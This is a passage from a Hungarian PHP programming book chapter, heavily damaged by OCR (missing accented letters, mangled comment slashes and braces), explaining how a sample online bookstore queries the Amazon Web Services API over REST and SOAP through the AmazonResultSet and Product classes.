Ksbb mg visszatrnk ezekre a fggvnyekre, amikor a kosr s a fizets mkdst mutatjuk be. Ha szeretnnk most meg
vizsglni, a cartfunctions.php fjlban talljuk ket. Egyelre azonban nem foglalkozunk velk, mert elszr az Amazon
hoz kapcsold felletet kell megrtennk.
Ezt kveten beillesztjk a topbar. php fjlt, ami HTML kdot, egy stluslapot s a cartfunctions.php fjlban lv
ShowSmallCart{ ) fggvny hvst tartalmazza. Ez utbbi jelenti meg a kosr tartalmt sszefoglal adatokat, amelyeket az

brk jobb fels sarkban tallunk. A kosr funkeit megvalst fggvnyek trgyalsakor mg visszatrnk erre a fggvnyre.
Vgl elrtnk a f esemnykezel h urokhoz. A lehetsges mveleteket a 33.2 tblzatban talljuk.
3 3.2 tblzat: A J esemnyhurok
Mvelet

lehetsges mveletei

Lers

browsenode

Az adott kategriba tartoz knyveket jelenti meg. Ez az alaprtelmezett mvelet.

detail

A kivlasztott knyv rszletes adatait jelenti meg.

image

A knyv bortjnak nagyobb vltozatt jelenti meg.

search

A felhasznl ltal vgrehajtott keress eredmnyt jelenti meg.

addtocart

Hozzad egy ttelt a felhasznl kosarhoz.

deletefromcart

Trl egy ttelt a felhasznl kosarbl.

emptycart

Teljesen kirti a kosarat.

showeart

Megjelenti a kosr tartalmr.

A fenti tblzatban szerepl els ngy mvelet az Amazontl szrmaz adatok visszakeressvel s megjelentsvel kapcso
latos, a msodik ngy pedig a kosr kezelsvel foglalkozik.
Az Amazontl adatot visszakeres mveletek mind hasonlkppen mkdnek. Nzzk meg pldaknt, hogyan lehet egy

adott browsenode-ban, vagyis kategriban tallhat knyvek adatait lekrnil

Adott kategriban lv knyvek megjelentse


A browsenode (kategria megjelentse) mvelet esetn az albbi kd h*dik vgre:
showCategories{$mode);
$category = getCategoryName{$browseNode);
if{!$category ll {$category=='Best Selling Books'))

echo "<hl>Current Best Sellers<lhl>";


else
echo "<hl>Current Best Sellers in ".$category."<lhl>";

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

A showCategories () fuggvny a kivlasztott kategrik listjt jelenti meg, amely listt az oldalak tbbsgnl azok
fels rszn lthatjuk. A getCategoryName () fuggvny a neki radott browsenode rtk alapjn az adott kategria nevt
adja vissza. A showBrowseNode () fuggvny az abban a kategriban tallhat knyvekbl jelent meg egy oldalnyit.
Vizsgljuk meg legelszr a showCategories() fuggvnyt! Kdjt a 33.5 pldakdban talljuk.
33.5 pldakd: A categoryfunctions.phpknyvtr showCategories ()fggvnye- A kivlasztott kategrik listja
ll npszer kategrik listjnak megjelenitse
function showCategories($mode) {
global $categoryList;
echo "<hrl><h2>Selected Categories<lh2>";
if($mode ==

'Books')

asort($categoryList);
Seategories = count($categoryList);
$columns = 4;
$rows = ceil($categoriesl$columns);
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tr>";
reset($categoryList);
for($col = 0;

$col<$columns;

$col++)

echo "<td width=\"". (100I$columns)."%\" valign=\"top\"><ul>";


for($row = 0;
$category

$row<$rows;

$row++)

each($categoryList);

if($category)

$browseNode = $category['key');
$name = $category['value');
echo "<li><span class=\"category\">
<a href=\"index.php?action=browsenode&browseNode=".$browseNode."\">"
.$name."<la><lspan><lli>";

echo "<lul><ltd>";
echo "<ltr><ltable><hrl>";

A fuggvny a categoryList nev, a constants.php fjlban deklarlt tmbbel llaptja meg a browsenode szmok
hoz tartoz kategrianeveket. A hasznlni kvnt kategrikat egyszeren begpeltk ebbe a tmbbe. A fuggvny rendezi
a tmbt, s megjelenti a klnbz kategrikat.
A f esemnyhurokban kvetkeznek meghvott getCa tegoryName() fuggvny kikeresi az aktulisan megtekintett
browsenode nevt. Erre azrt van szksg, hogy megjelentsle a kpernyn a cmsort, pldul: Current Best Sellers

in Business & Investing (Az ..zlet s befektets" kategria jelenlegi sikerlists knyvei). A fuggvny az imnt emltett
categoryList tmbbl keresi ki a nevet.

Az igazn izgalmas dolgok akkor kezddnek, amikor a 33.6 pldakdban lthat showBrowseNode() fuggvnyhez rnk.

577

578

33. fezet

33.6 pldakd: A bookdisplayfunctions. php knyvtr

showBrowseNode (}fggvnye- Adott kategriban tallhat

knyvek listja
ll Adott kategriban megjelent egy oldalnyi termket
function showBrowseNode($browseNode,
$ars = getARS('browse',

$page,

$mode}

array('browsenode'=>$browseNode,

'page' => $page,

'mode'=>$mode}};
showSurnrnary($ars->products(},

$page,

$ars->totalResults(},

$mode,

$browseNode};

A showBrowseNode(} fggvny egs:z:en pontosan kt dolgot tes:z;. Els:z:r is meghvja a cachefunctions. php knyv
tr getARS(} fggvnyt, amely ArnazonResult Set objektumot fogad s ad viss:z:a (a kvetke:z: rs:z;ben bvebben tte
kintjk e:z:t a fggvnyt). E:z:utn meghvja a bookdi splayfunctions. php knyvtr showSummary (} fggvnyt, hogy
megjelentse a viss:z:akeresett informcikat.
A:z: egs:z: alkalma:z:s mkdsnek htterben a getARS(} fggvny ll. Ha vgign:z::z;k a tbbi mvelet- a rs:z:letes

knyvadatok megtekintse, a kpek megjelentse s a keress- kdjt, ltni fogjuk, hogy mindenhol e:z::z:el a fggvnnyel tall
ko:z:unk.

AmazonResultSet objektum lekrse


Vi:z:sgljuk meg rs:z:letesebben is a getARS(} fggvnyt, amit a 33.7 pldakdban lthatunk!

33.7 pldakd: A cachefunctions. php knyvtr getARS (}fggvnye- Lekrde:z:s eredmnyhalma:z:a


ll ArnazonResultSet objektum lekrse gyorsttrbl vagy l lekrdezsbl
ll l lekrdezs esetn tegyk az objektumot gyorsttrbal
function getARS($type,

$parameters} {

$cache = cached($type,

$parameters};

if ($cache}

ll ha benne van a gyorsttrban

33

return $cache;
else

$ars = new ArnazonResultSet;


if($type == 'asin'} {
$ars->ASINSearch(padASIN($parameters['asin']},

if($type == 'browse'}

$parameters['mode']};

$ars->browseNodeSearch($parameters['browsenode'],

$parameters['page'],

$parameters['mode']};

if($type == 'search'}

$ars->keywordSearch($parameters['search'],

$parameters['page'],

$parameters['mode']};

cache($type,

$parameters,

$ars};

return $ars;

A fggvny feladata, hogy bes:z:ere:z;:z;e a:z; Ama:z:onrl s:z:rma:z: adatokat. Ktflekppen teheti ezt meg: gyorsttrbl vagy
k:z:veclenl a:z; Ama:z:onrl. Mivel a:z; Ama:z:on megkveteli a fejles:z:tktl a letlttt adatok gyorsttra:z:st, a fggvny elszr
a gyorsttrban keres. A gyorsttrrl rvidesen rs:z:letesebben is s:z: esik majd.

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

579

Ha az adott lekrdezst mg nem hajtottuk vgre, az adatokat lben kell lekrni az AmazonrL Ezt gy tehetjk meg. hogy
ltrehozzuk az AmazonResultSet osztly egy pldnyt, majd meghvjuk rajta a futtatni kvnt lekrdezsnek megfelel
metdust. A lekrdezs tpust a $type paramterben hatrozzuk meg. Ha pldul adott kategriban (vagyis bngszsi
csompontban) keresnk, a browse rtket adjuk t a paramterben (lsd a 33.6 pldakdot!). Ha adott knyvre vonatkoz
keresst kvnunk vgrehajtani, asin lesz a paramter rtke, ha pedig kulcsszavas keresst akarunk folytatni, search-re kell
lltani a paramtert.
Mindegyik paramter ms s ms metdust hv meg az AmazonResult Set osztlyon. Ha adott knyvre keresnk, az
ASINSearch () metdust hvjuk meg. Kategriban keresskor a browseNodeSearch(), kulcsszavas keress esetn pedig

a keywordSearch () metdus hvdik meg.


Vizsgljuk meg kzelebbrl az AmazonResultSet osztlyt! Teljes kdjt a 33.8 pldakdban olvashatjuk.
33.8 pldakd: AmazonResult Set.php

Az Amazonhoz val kapcsoldsokat kezel osztly

<?php

ll ezzel a constants.php fjlban belltott llandval vlthatunk a


ll REST s SOAP mdszer kztt
if(METHOD=='SOAP')

include once('nusoaplliblnusoap.php');

ll Ez az osztly trolja a lekrdezsek eredmnyt,


ll ami ltalban a Product osztly l vagy 10 pldnya
class AmazonResultSet

private $browseNode;
private $page;
private $mode;
private $url;
private $type;
private $tota1Results;
private $currentProduct = null;
private $products = array();

ll Product objektumok tmbje

33

function products()
return $this->products;

function totalResults()
return $this->tota1Results;

function getProduct($i)
if(isset($this->products[$i]))
return $this->products[$i];
else

return false;

ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza


ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt
ll Product objektumok tmbjt adja vissza
function browseNodeSearch($browseNode,

$page,

$this->Service = "AWSECommerceService";

$mode)

580

33.fezet

Sthis->Operation = "ItemSearch";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->BrowseNode = $browseNode;
Sthis->ResponseGroup

"Large";

Sthis->Searchlndex= $mode;
$this->Sort= 'salesrank';
$this->Tota1Pages= $page;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => Sthis->Service,
'BrowseNode' => Sthis->BrowseNode,

'Operation' => $this->Operation,

'ResponseGroup' => Sthis->ResponseGroup,

'Searchindex' => Sthis->Searchindex,

'Sort' => Sthis->Sort,

'TotalPages' =>

$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,

'AssociateTag' => ASSOCIATEID,

'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;

$this->totalResults = Sresult['TotalResults'l;

33

foreach($result['Items' l ['Item' l
$this->products[l

as $product)

= new Product($product);

unset($soapclient);
unset($soap_proxy);
else {
ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl
$this->url = "http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".Sthis->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyid.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".Sthis->Searchlndex.
"&Sort=".$this->Sort.
"&TotalPages=".Sthis->TotalPages;
$this->parseXML();

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

581

return $this->products;

ll Az ASIN birtokban krjk le a nagy kp URL-jt!


ll Karakterlncot ad vissza
function getimageUrlLarge($ASIN,

if( $product->ASIN()== $ASIN)


return

$mode)

foreach($this->products as $product)

$product->imageURLLarge();

ll ha nem tallhat
$this->ASINSearch($ASIN,

$mode);

return $this->products(0)->imageURLLarge();

ll A megadott ASIN-hoz tartoz termk visszakeresse a lekrdezs vgrehajtsval


ll A

constants.php

fjlban vlthatunk

XMLIHTTP s SOAP kztt

ll Product objektumot ad vissza


function

ASINSearch($ASIN,

$mode = 'books')

$this->type = 'ASIN';
$this->ASIN=$ASIN;
$this->mode = $mode;
$ASIN = padASIN($ASIN);

$this->Service = "AWSECommerceService";
$this->Operation = "ItemLookup";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->ResponseGroup = "Large";
$this->IdType = "ASIN";

33

$this->Itemid = $ASIN;

if(METHOD=='SOAP')

$soapclient = new nusoap_client(


'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

$soap_proxy = $soapclient->getProxy();

$request = array ('Service'


'ResponseGroup' =>

=> $this->Service,

$this->ResponseGroup,

'Operation' => $this->Operation,

'IdType' => $this->IdType,

'Itemid' =>

$this->Itemid);

$parameters = array('AWSAccessKeyid' => DEVTAG,


'Request'=>array($request));

ll a tnyleges soap lekrdezs vgrehajtsa


$result = $soap_proxy->ItemLookup($parameters);

if(isSOAPError($result))
return false;

'AssociateTag' => ASSOCIATEID,

582

33.

fejezet

$this->products[O] = new Product($result['Items'] ['!tem']);


$this->totalResults=l;
unset($soapclient);
unset($soap_proxy);
else
ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl
$this->url = "http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
"&AWSAccessKeyld=".$this->AWSAccessKeyld.
"&ResponseGroup=".$this->ResponseGroup.
"&IdType=".$this->IdType.
"&Itemld=".$this->Itemid;
$this->parseXML();
return $this->products[O];

ll A kulcsszavas keress eredmnyekppen kapott knyvekkel teli oldalt


ll kapjuk vissza a lekrdezs futtatsval
ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt
ll Product objektumok tmbjt adja vissza
function keywordSearch($search,

$page,

$mode

'Books')

$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyld = DEVTAG;

33

$this->AssociateTag = ASSOCIATEID;
$this->ResponseGroup = "Large";
$this->Searchlndex= $made;
$this->Keywords= $search;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => $this->Service,
'ResponseGroup' => $this->ResponseGroup,
'Keywords'

'Operation' => $this->Operation,

'Searchlndex' => $this->Searchlndex,

=> $this->Keywords);

$parameters = array('AWSAccessKeyld' => DEVTAG,


'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))

'AssociateTag' => ASSOCIATEID,

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

583

return false;

$this->tota1Results = $result['Tota1Results'];

foreach($result['Items'] ['!tem']
$this->products[]

as $product}

= new Product($product};

unset($soapclient};
unset($soap_proxy};

else
"http:llecs.amazonaws.comloncalxml?".

$this->url

"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyld.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".$this->Searchlndex.
"&Keywords=".$this->Keywords;

$this->parseXML(};

return $this->products;

ll Az XML feldolgoz a Product objektum(ok}ban


function parseXML(}

ll hibk elnyomsa,

mert esetenknt ez nem fog mkdni

$xml = @simplexml_load_file($this->url};
if(!$xml}

ll prbljuk meg mg egyszer,


$xml

htha csak foglalt volt a kiszolgl!

@simplexml_load_file ($this->url};

if(!$xml}

return false;

$this->tota1Results = (integer}$xml->Tota1Results;
foreach($xml->Items->Item as $productXML}
$this->products[]

= new Product($productXML};

?>

Ez az igen hasznos osztly pontosan azt a munlcit vgzi el, amire az osztlyok valk. Szp fekete dobozba zrja az Amazonhoz
szksges felletet. Az Amazonhoz val kapcsolds az osztlyon bell a REST s a SOAP mdszerrel is ltrehozhat. Az osz
tly ltal tnylegesen alkalmazorr mdszert a constants.php fjlban bellitorr globlis METHOD lland rtke hatrozza meg.
Kezdjk azzal, hogy visszatrnk a kategrin belli keress pldjra! A kvetkezkppen hasznljuk ekkor az
AmazonResultSet osztlyt:

33

584

33. fejezet

$ars = new AmazonResultSet;


$ars->browseNodeSearch($parameters['browsenode'],
$parameters['page'],
$parameters['mode']);

Az osztly nem rendelkezik konstruktorral, gy trjnk r egyenesen a browseNodeSearch () metdusra! Ennek hrom
paramtert adunk t: a bennnket rdekl browsenode szmt (ami mondjuk a Business & Investing vagy a Computers &
Internet kategrinak felel meg), a:z; oldal szmt, ami a visszakeresni kvnt rekordokat hatrozza meg, illetve a mdot, ami az
rintett termktpusra utal. A 33.9 pldakdban a kdnak ezt a metdust tartalmaz rszlett olvashatjuk.
33.9 pldakd: A browseNodeSearch() metdus -Keress kategriban
ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza
ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt
ll Product objektumok tmbjt adja vissza
function browseNodeSearch($browseNode,

$page,

$mode)

$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyid

$this->AssociateTag

ASSOCIATEID;

DEVTAG;

$this->BrowseNode = $browseNode;
$this->ResponseGroup = "Large";
$this->Searchindex= $mode;
$this->Sort= 'salesrank';
$this->Tota1Pages= $page;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

$soap_proxy = $soapclient->getProxy();

33

$request = array ('Service' => $this->Service,

'Operation' => $this->Operation,

'BrowseNode' => $this->BrowseNode, 'ResponseGroup' => Sthis->ResponseGroup,


'Searchindex' => $this->Searchindex,

'Sort' => $this->Sort,

'TotalPages' =>

$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,
'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;

$this->tota1Results = $result['Tota1Results'];
foreach($result['Items'] ['Item'] as $product)
$this->products[] = new Product($product);
unset($soapclient);

'AssociateTag' => ASSOCIATEID,

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

585

unset($soap_proxy);

else

ll URL ltrehozsa s a parseXML

meghvsa letlts s rtelmezs cljbl

$this->url = "http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyid.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchindex=".$this->Searchindex.
"&Sort=".$this->Sort.
"&TotalPages=".$this->TotalPages;

$this->parseXML();

return $this->products;

A METHOD konstans rtktl fggen a metdus REST-en vagy SOAP-on keresztl hajtja vgre a lekrdezst,de term
szetesen mindkt krsben ugyanazokat az informcikat kldi el.
A fggvny elejn az albbi sorok lthatk, amelyek a krs vltozit, illetve azok rtkt adjk meg:
$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->BrowseNode = $browseNode;
$this->ResponseGroup = "Large";
$this->Searchindex= $mode;
$this->Sort= "salesrank";
$this->Tota1Pages= $page;

A fenti rtkek kzl nhnyat- pldul a $browseNode, a $mode s a $page vltozban szerepl rtket- az alkal
mazs ms rszeiben lltunk be. Ms rtkek,gy a DEVTAG s az ASSOCIATEID pedig konstansok. Megnt msok- gy
a $this->Service, a $this->Operation s a $this->Sort is- statikusak.
A minimlisan szksges vltozk kre a krs tpustl fgg; a fenti pldban egy adott kategria eladsi szmok szerint
sorba rendezett knyveit bngsszk. Ms vltozkat hasznlunk, ha adott knyvre vagy kulcssz alapjn keresnk. A vlto
zk listjt az AmazonResultSet.php fjl browseNodeSearch (), ASINSearch (),illetve keywordSearch () fgg
vnynek elejn lthatjuk. Az egyes krstpusok esetn elvrt vltozkrl az AWS Developer's Guide-ban tallunk rszletes
tmutatst.
A kvetkezkben azt vizsgljuk meg, hogyan hozzuk ltre a browseNodeSearch () fggvnyben a REST s a SOAP le
krdezsre irnyul krst. A krs ltrehozsnak formja koncepcijt tekintve azASINSearch ( ) s a keywordSearch ()
fggvnyben is hasonl.

Krs intzse s az eredmny visszakeresse REST segtsgvel


Mivel az osztly ragvltozit a browseNodeSearch () (vagy azASINSearch () vagy a keywordSearch ())fggvny
elejn mr belltottuk, nem maradt ms htra, mint hogy REST l XML over HTTP segtsgvel formzzuk s elkldjk az
URL-t:
$this->url

"http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.

33

586

33. fejezet

"&AWSAccessKeyld=".$this->AWSAccessKeyld.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".$this->Searchlndex.
"&Sort=".$this->Sort.
"&Tota1Pages=".$this->Tota1Pages;

Az alap URL jelen esetben a htcp:/ l ecs.amazonaws.com/onca/xml. A vltozk nevt s rtkt ehhez hozzfzve GET
lekrdezsi karakterlncot hozunk ltre. Ezek teljes dokumentcijt, illerve a tbbi lehetsges vltozt az AWS Developer's
Guide-ban talljuk. A paramterek belltsa utn meghvjuk a
$this->parseXML();

metdust, hogy elvgezze a lnyegi munkt. A parseXML () metdus kdjt a 33.10 pldakdban lthatjuk.
33.10 pldakd: A
ll

parseXML () metdus- A lekrdezs ltal visszakldtt

XML rtelmezse

Az XML feldolgoz a Product objektum(ok)ban

function parseXML ()

ll

hibk elnyomsa,

mert esetenknt ez nem fog mkdni

$xml = @sl.mplexml load_file($this->url);


if(!$xml)

ll

prbljuk meg mg egyszer,

htha csak foglalt volt a kiszolgl!

$xml = @simplexml load_file($this->url);


if(!$xml)

return false;

$this->tota1Results = (integer)$xml->Tota1Results;
foreach($xml->Items->Item as $productXML)
$this->products[]

33

= new Product($productXML);

A simplexml_load_file () vgzi el szmunkra a munka rdemi rszt. Az XML tartalmat f:ijlbl vagy- mint pl
dnkban- URL-bl olvassa be. Objekrumorientlt felletet (interfszt) nyjt az XML dokumenrumban lv adatokhoz s
struktrhoz. Ez a fellet hasznos lenne ugyan, de mivel a REST vagy SOAP mdszerrel rkezett adatokat kezelni kpes
interfszfggvnyekre van szksgnk, sajt objekrumorientlt felletet hozunk ltre ugyanezekhez az adatokhoz (amelyek
a Product osztly pldnyaiban helyezkednek el). Figyeljk meg: a REST mdszernl rpusknyszertssel PHP vltozt
pusokk alaktjuk az XML attribrumait! A Product osztly elssorban a privt tagjaiban trolt adatok elrsre szolgl
elrfggvnyeket tartalmaz, gy felesleges lenne irt a teljes fjlt szerepeltetni. Az osztly s a konstruktor szerkezett azonban
rdemes megvizsglni. A 33.11 pldakd a Product osztly defincijnak egy rszt tartalmazza.
33.11 pldakd: A Product osztly magba zrja az egyes Amazon-termkekrl meglv adatainkat
class Product

private $ASIN;
private $productName;
private $releaseDate;
private $manufacturer;
private $imageUrlMedium;
private $imageUrlLarge;
private $listPrice;
private $ourPrice;
private $salesRank;
private $availability;

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

587

private $avgCustomerRating;
private $authors = array();
private $reviews = array();
private $similarProducts
private $soap;

function

= array();

ll SOAP meghvsok ltal visszaadott tmb

construct($xml)

__

if(METHOD=='SOAP')

$this->ASIN = $xml['ASIN'];
$this->productName

$xml['ItemAttributes']['Title'];

if (is_array($xml['ItemAttributes']['Author'])

!= "")

foreach($xml['ItemAttributes']['Author'] as $author)
$this->authors[] = $author;

else

{
$xml[ 'IternAttributes' l ['Author' l;

$this->authors[]

$this->releaseDate

$xml['ItemAttributes']['PublicationDate'];

$this->manufacturer = $xml['ItemAttributes']['Manufacturer'];
$this->imageUrlMedium = $xml['Mediumimage']['URL'];
$this->imageUrlLarge = $xml['Largeimage']['URL'];

$this->listPrice

$xml['IternAttributes' l ['ListPrice' l ['ForrnattedPrice' l;

$this->listPrice

str replace('$',

' ',

$this->listPrice);

$this->listPrice

str_replace(', ',

'',

$this->listPrice);

$this-> listPrice

floatval($this->listPrice);

$this->ourPrice

$xml['OfferSummary']['LowestNewPrice']['FormattedPrice'];

$this->ourPrice

str_replace('$',

'',

$this->ourPrice);

$this->ourPrice

str_replace(', ',

'',

$this->ourPrice);

$this->ourPrice

floatval($this->ourPrice);

$this->salesRank

$xml['SalesRank'];

$this->availability = $xml['Offers']['Offer']['OfferListing']['Availability'];
$this->avgCustomerRating = $xml['CustomerReviews']['AverageRating'];

$reviewCount =

0;

if (is array($xml['CustomerReviews']['Review']))
foreach($xml['CustomerReviews'] ['Review'] as $review)
$this->reviews[$reviewCount]['Rating'] = $review['Rating'];
$this->reviews[$reviewCount] ['Summary']

$review['Summary'];

$this->reviews[$reviewCount] ['Content'] = $review['Content'];


$reviewCount++;

$similarProductCount

O;

if (is array($xml['SimilarProducts']['SimilarProduct']))
foreach($xml['SimilarProducts'] ['SimilarProduct'] as $similar)

33

588

33. fejezet

$this->similarProducts[$similarProductCount]['Title']
$this->similarProducts[$similarProductCount]['ASIN']

$similar['Title'];

$review['ASIN'];

$similarProductCount++;

else

ll REST hasznlata esetn


$this->ASIN

(string)$xml->ASIN;

$this->productName

(string)$xml->ItemAttributes->Title;

if($xml->ItemAttributes->Author)
foreach($xml->ItemAttributes->Author as $author)
$this->authors[]

$this->releaseDate

(string)$xml->ItemAttributes->PublicationDate;

$this->manufacturer

(string)$author;

(string)$xml->ItemAttributes->Manufacturer;

$this->imageUrlMedium
$this->imageUrlLarge

(string)$xml->Mediumlmage->URL;
(string)$xml->Largelmage->URL;

$this->listPrice

(string)$xml->ItemAttributes->ListPrice->FormattedPrice;

$this->listPrice

str_replace('$',

'',

$this->listPrice);

$this->listPrice

str_replace(', ',

'',

$this->listPrice);

$this->listPrice

floatval($this->listPrice);

$this->ourPrice

33

(string)$xml->OfferSummary->LowestNewPrice->FormattedPrice;

$this->ourPrice

str_replace('$',

'',

$this->ourPrice);

$this->ourPrice

str_replace(', ',

'',

$this->ourPrice);

$this->ourPrice

floatval($this->ourPrice);

$this->salesRank

(string)$xml->SalesRank;

$this->availability

(string)$xml->Offers->Offer->OfferListing->Availability;

$this->avgCustomerRating

$reviewCount

(float)$xml->CustomerReviews->AverageRating;

0;

if($xml->CustomerReviews->Review)
foreach ($xml->CustomerReviews->Review as $review)
$this->reviews[$reviewCount]['Rating']

(float)$review->Rating;

$this->reviews[$reviewCount]['Summary']
$this->reviews[$reviewCount] ['Content']

(string)$review->Summary;
=

(string)$review->Content;

$reviewCount++;

$similarProductCount

O;

if($xml->SimilarProducts->SimilarProduct)
foreach ($xml->SimilarProducts->SimilarProduct as $similar)
(string)$similar->Title;

$this->similarProducts[$similarProductCount]['Title']
$this->similarProducts[$similarProductCount]['ASIN']
$similarProductCount++;

(string)$similar->ASIN;

Kapcsolds az Amazon Web Services fellethe-z; XML s SOAP segtsgvel

589

ll az osztly metdusainak tbbsge hasonl,


ll s egyszeren a privt vltozt adja vissza
function similarProductCount()

return count($this->similarProducts);

function similarProduct($i)

return $this->similarProducts[$i];

function customerReviewCount()

return count($this->reviews);

function customerReviewRating($i)

return $this->reviews[$i] ['Rating'];

function customerReviewSummary($i)

return $this->reviews[$i] ['Summary'];

function customerReviewComment($i) {
return $this->reviews[$i]['Content'];

function valid()

if(isset($this->productName)
return true;
else

return false;

function ASIN()

return padASIN($this->ASIN);

function imageURLMedium()

return $this->imageUrlMedium;

function imageURLLarge()

return $this->imageUrlLarge;

function productName()

return $this->productName;

&&

($this->ourPrice>0.001)

&&

isset($this->ASIN)) {

33

590

33.

fejezet

function ourPrice ()

return number_format($this->ourPrice,2,

function listPrice()

return number format($this->listPrice,2,

function authors()

if(isset($this->authors))
return $this->authors;
else

return false;

function releaseDate()

if(isset($this->releaseDate))
return $this->releaseDate;
else

return false;

function avgCustomerRating()

if(isset($this->avgCustomerRating))
return $this->avgCustomerRating;
else

return false;

33
function manufacturer()

if(isset($this->manufacturer))
return $this->manufacturer;
else

return false;

function salesRank()
if(isset($this->salesRank))
return $this->salesRank;
else

return false;

function availability ()

if(isset($this->availability))
return $this->availability;

l else {

'');

'');

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

591

return false;

?>

Ez a konstruktor is krfle beviteli adatot fogad, de egyetlen alkalmazsfelletet hoz ltre. Lthatjuk, hogy mg a kezel kd
egy rszt ltalnosabb tehetjk, egyes trkksebb attribtumoknak - pldul az rtkelseknek (review) is - a vlasztort
mdszertl fggen eltr lehet a nevk.
Miutn az adatok visszakeresse rdekben vgigmentnk a fenti kdokon, most visszaadjuk a vezrlst a getARS(), illetve
ezltal a showBrowseNode () fggvnynek. A kvetkez lps gy nz ki:
showSummary($ars->products(),

$page,

$ars->tota1Results(),

$mode,

$browseNode);

A showSummary() fggvny pusztn megjelenti az AmazonResult Set objektumban lv adatokat, ahogy azt a korbbi
brkon mr lthattuk. Egyszersge miatt rszletesebben nem foglalkozunk a fggvnnyeL

Krs intzse s eredmny visszakeresse SOAP segtsgvel


Trjnk most vissza a browseNodeSearch ( ) fggvnyhez, s vizsgljuk meg a SOAP protokoll alkalmazsa esetn hasznlt
vltozatt! Ezt a kdrszletet lthatjuk itt:
$soapclient = new nusoap_client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => $this->Service,
'BrowseNode' => $this->BrowseNode,

'Operation' => $this->Operation,

'ResponseGroup' => $this->ResponseGroup,

'Searchindex' => $this->Searchindex,

'Sort' => $this->Sort,

'TotalPages' =>

$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,

'AssociateTag' => ASSOCIATEID,

33

'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;

$this->tota1Results = $result['Tota1Results'];
foreach($result['Items'] ['Item']

as $product)

$this->products[] = new Product($product);


unset($soapclient);

Nincsen szksgnk tovbbi fggvnyekre; a SOAP kliens mindent elvgez helyettnk.


Elszr is ltrehozzuk a SOAP kliens egy pldnyt:
$soapclient = new nusoap_client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

'wsdl');

Itt kt paramtert adunk t a kliensnek. Az els a szolgltats WSDL-lersa, a msodik pedig azt kzli a SOAP klienssel,
hogy WSDL URL-rl van sz. gy is eljrhatrunk volna, hogy csak egy paramtert adunk t: a szolgltats vgpontjt, am
nem ms, mnt a SOAP szerver kzvetlen URL-je.

592

33. fejezet

A kvetkez kdsorbl lthatjuk, hogy j okunk volt mgis az elbbi mdszerr vlasztani:
$soap_proxy = $soapclient->getProxy(};

Ez a sor a WSDL dokumentumban lv informcik alapjn egy osztlyt hoz ltre. Ennek az osztlynak, vagyis a SOAP
